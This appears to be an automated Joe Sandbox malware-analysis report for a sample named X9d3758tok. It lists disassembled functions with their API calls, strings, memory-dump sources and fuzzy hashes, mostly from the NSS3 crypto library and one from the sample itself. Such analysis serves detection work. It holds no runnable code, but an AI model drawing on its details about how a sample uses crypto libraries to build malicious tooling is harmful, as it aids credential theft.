Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 54c2a2ef1733e228cac742f1df066daea68ee878f088f5779e91fb71d2bafb71
Instruction ID: 67933c15e881de7adff0a0419ca1bb2653105b0830245fa8f8519c0f19adf7a2
Opcode Fuzzy Hash: 54c2a2ef1733e228cac742f1df066daea68ee878f088f5779e91fb71d2bafb71
Instruction Fuzzy Hash: 8D41E335602118ABDB209B58DF8CF9E77B9AB4330DF498434E80857B52DB35A928DBD1

Function 6C754CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C754CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C754D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754D37

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C754D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C754D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C754DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C754DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C754E20

Strings

*pulSize = 0x%x, xrefs: 6C754E1B
(CK_INVALID_HANDLE), xrefs: 6C754D30, 6C754D83
hObject = 0x%x, xrefs: 6C754D65, 6C754D75
hSession = 0x%x, xrefs: 6C754D12, 6C754D22
C_GetObjectSize, xrefs: 6C754CEE
pulSize = 0x%p, xrefs: 6C754DB7

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: e3e46cd6c133cac6a927b6cc159a8d8e7986c908e040cdc5b43f5e8842c89b22
Instruction ID: b2252c02d55d072c9c68cfaeeef30c91baa9db87d80f1de5349fd136e9872967
Opcode Fuzzy Hash: e3e46cd6c133cac6a927b6cc159a8d8e7986c908e040cdc5b43f5e8842c89b22
Instruction Fuzzy Hash: D541D735602214AFDB209B58DF8DB6A37B5AB4230DF458435E9085BB12DB34A838EBD1

Function 6C757C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C757CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C757CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C757CF3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C757D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C757D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C757D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C757D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C757D77

Strings

C_Verify, xrefs: 6C757CB1
ulDataLen = %d, xrefs: 6C757D40
(CK_INVALID_HANDLE), xrefs: 6C757CEC
pSignature = 0x%p, xrefs: 6C757D59
pData = 0x%p, xrefs: 6C757D25
ulSignatureLen = %d, xrefs: 6C757D72
hSession = 0x%x, xrefs: 6C757CCE, 6C757CDE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: bec0b3ecb06c3703a73173c5b65d26689341ec5a9ea1d2005669f61ba31e64a3
Instruction ID: 46098ecd75fc58fa6b6b4e8323586930bba76320adceaeceaa464a15e7c45134
Opcode Fuzzy Hash: bec0b3ecb06c3703a73173c5b65d26689341ec5a9ea1d2005669f61ba31e64a3
Instruction Fuzzy Hash: 0731F635602254AFDB308B58DF4DF6A77B5AB4330DF898434E80857B12DB34A818CBD1

Function 6C7ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ECC7B), ref: 6C7ECD7A

Part of subcall function 6C7ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C75C1A8,?), ref: 6C7ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECD8E

Part of subcall function 6C7105C0: PR_EnterMonitor.NSS3 ref: 6C7105D1
Part of subcall function 6C7105C0: PR_ExitMonitor.NSS3 ref: 6C7105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ECE48

Strings

ws2_32.dll, xrefs: 6C7ECD75
wship6.dll, xrefs: 6C7ECDE3
getaddrinfo, xrefs: 6C7ECD88, 6C7ECDF9
getnameinfo, xrefs: 6C7ECDB2, 6C7ECE23
freeaddrinfo, xrefs: 6C7ECD9F, 6C7ECE10

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fc5ce7e46b1c70bab56900c8a22ebdaacb83b8f75727b9085654085d56318fd3
Instruction ID: c7935412646aa786d428a6e101f24630ab2643b72575922907a2b212bb277799
Opcode Fuzzy Hash: fc5ce7e46b1c70bab56900c8a22ebdaacb83b8f75727b9085654085d56318fd3
Instruction Fuzzy Hash: 1611209AE1312056DB10E9392F099BA3D5C5B1714EF6C0934E415D5F05FF21C528C6F1

Function 6C831C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8313BC,?,?,?,6C831193), ref: 6C831C6B
PR_NewLock.NSS3(?,6C831193), ref: 6C831C7E

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_NewCondVar.NSS3(00000000,?,6C831193), ref: 6C831C91

Part of subcall function 6C70BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7121BC), ref: 6C70BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C831193), ref: 6C831CA7

Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C70BBEB
Part of subcall function 6C70BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C70BBFB
Part of subcall function 6C70BB80: GetLastError.KERNEL32 ref: 6C70BC03
Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C70BC19
Part of subcall function 6C70BB80: free.MOZGLUE(00000000), ref: 6C70BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C831193), ref: 6C831CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C831193), ref: 6C831CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C831193), ref: 6C831CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C831193), ref: 6C831D1A

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C831193), ref: 6C831D3D

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C831193), ref: 6C831D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C831193), ref: 6C831D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C831193), ref: 6C831D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C831193), ref: 6C831D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C831193), ref: 6C831D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C831193), ref: 6C831D93
PR_DestroyLock.NSS3(00000000,?,?,6C831193), ref: 6C831D9F
free.MOZGLUE(00000000,?,6C831193), ref: 6C831DA8

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: c924f40300540fe6bdfb7223f4f7e40b5a921e6e76558ad1fbbd076bc4c3f0fa
Instruction ID: 73bef7c9f8faa7a3cdba4f2054808053c28879d1e80b53494cde1f17720e0ba7
Opcode Fuzzy Hash: c924f40300540fe6bdfb7223f4f7e40b5a921e6e76558ad1fbbd076bc4c3f0fa
Instruction Fuzzy Hash: A631C6F1E017115BEB219F65AD49AA776E4AF0670DB044838E84A87F41FB31E518CBE2

Function 6C745E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C745ECF
EnterCriticalSection.KERNEL32(?), ref: 6C745EE3
PR_Unlock.NSS3(?), ref: 6C745F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C745FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7461F4
S&vl, xrefs: 6C7462E3
S&vl, xrefs: 6C745E6C, 6C74627F, 6C745F12

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&vl$S&vl
API String ID: 2280678669-1936140906
Opcode ID: 11374ad1369929fbc483637fa6c342b0f0dab3f45f4d73e546c2761be902edcd
Instruction ID: 5ea94e33ce08ad0c63a8a5652aa21d267bdead7023a536cd625ba266838cd5bb
Opcode Fuzzy Hash: 11374ad1369929fbc483637fa6c342b0f0dab3f45f4d73e546c2761be902edcd
Instruction Fuzzy Hash: 86F1F5B5A002159FDB54CF28C984B86BBF4FF09304F1582AAD8089B746E774EA94CF91

Function 004119F0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00411A15
ExitProcess.KERNEL32 ref: 00411A21
strtok_s.MSVCRT ref: 00411A38

Strings

block, xrefs: 00411A07

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction ID: 24cedd258c0b2a3a786e48f87e23423129f016670b7ad46fccbec0895e921d59
Opcode Fuzzy Hash: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction Fuzzy Hash: 00513174B0A109DFCB04DF94D984FEE77B9AF44704F10405AE502AB261E778EA91CB5A

Function 6C790C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,yl), ref: 6C790C81

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

Part of subcall function 6C768500: SECOID_GetAlgorithmTag_Util.NSS3(6C7695DC,00000000,00000000,00000000,?,6C7695DC,00000000,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C768517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790CC4

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C790CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C790D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C790D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C790D7D
free.MOZGLUE(00000000), ref: 6C790DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790DC1
free.MOZGLUE(00000000), ref: 6C790DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C790E0F

Part of subcall function 6C7695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C7695E0
Part of subcall function 6C7695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C7695F5
Part of subcall function 6C7695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C769609
Part of subcall function 6C7695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C76961D
Part of subcall function 6C7695C0: PK11_GetInternalSlot.NSS3 ref: 6C76970B
Part of subcall function 6C7695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C769756
Part of subcall function 6C7695C0: PK11_GetIVLength.NSS3(?), ref: 6C769767
Part of subcall function 6C7695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C76977E
Part of subcall function 6C7695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C76978E

Strings

*,yl, xrefs: 6C790DCC
*,yl, xrefs: 6C790C69, 6C790DE0, 6C790C80, 6C790C8B, 6C790CAF
-$yl, xrefs: 6C790C64

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,yl$*,yl$-$yl
API String ID: 3136566230-517205904
Opcode ID: b23592795ed2acc2a00288670130e0fa3838b96b5783c123f6a8d7b9782c0305
Instruction ID: 7a1f63e0a57f18d4ef19d727aa38f8fecea53ec725abf1e29d260fe611890134
Opcode Fuzzy Hash: b23592795ed2acc2a00288670130e0fa3838b96b5783c123f6a8d7b9782c0305
Instruction Fuzzy Hash: B241D2B1901255ABEB009F65EE4ABAF7674AF0530CF104034ED1557752FB35AA18CBF2

Function 6C785CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C785EC0,00000000,?,?), ref: 6C785CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C785CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C785CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C785D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C785EC0,00000000,?,?), ref: 6C785D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C785D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C785D80

Strings

sql:, xrefs: 6C785CD1, 6C785D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C785D1A
dbm:, xrefs: 6C785D03, 6C785D60
multiaccess:, xrefs: 6C785CB8
extern:, xrefs: 6C785CEA, 6C785D4B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 404d9e7d83ea15474040e570be7afd7206fa87dc906fa8786f173ef5ca32d27d
Instruction ID: 1e9cf7eae3ea40b62ca8b8c1d08cae589dd0b0ec649604cf93e8353d4780f4a9
Opcode Fuzzy Hash: 404d9e7d83ea15474040e570be7afd7206fa87dc906fa8786f173ef5ca32d27d
Instruction Fuzzy Hash: B931E7A1643311ABFBA11E25EE8EF5A3768AF0235DF140430EF5697B82F661D901C2F5

Function 6C786CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C851DE0,?), ref: 6C786CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C786D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C786D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C786D82
DER_GetInteger_Util.NSS3(?), ref: 6C786DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C786DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C786E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C786F19
PK11_DigestBegin.NSS3(00000000), ref: 6C786F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C786F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C787011
PK11_FreeSymKey.NSS3(00000000), ref: 6C787033
free.MOZGLUE(?), ref: 6C78703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C787060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C787087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7870AF

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: fca39416608713d275081df8177faa28dba05f1c3c6e16b2f43278fda80ea19f
Instruction ID: 4eede290e39979d2275cfccf30a27f3c8b45f2f57b3c5352cf675021266b7c05
Opcode Fuzzy Hash: fca39416608713d275081df8177faa28dba05f1c3c6e16b2f43278fda80ea19f
Instruction Fuzzy Hash: BCA11A71526200ABEB009B24DE49B5B7294EB8131CF248939FB19CBB81F775DA45C7A3

Function 6C742C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?tl,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C62
EnterCriticalSection.KERNEL32(0000001C,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C76
PL_HashTableLookup.NSS3(00000000,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C93

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23), ref: 6C742CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?), ref: 6C742CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?), ref: 6C742D4D
EnterCriticalSection.KERNEL32(?), ref: 6C742D61
PL_HashTableLookup.NSS3(?,?), ref: 6C742D71
PR_Unlock.NSS3(?), ref: 6C742D7E

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
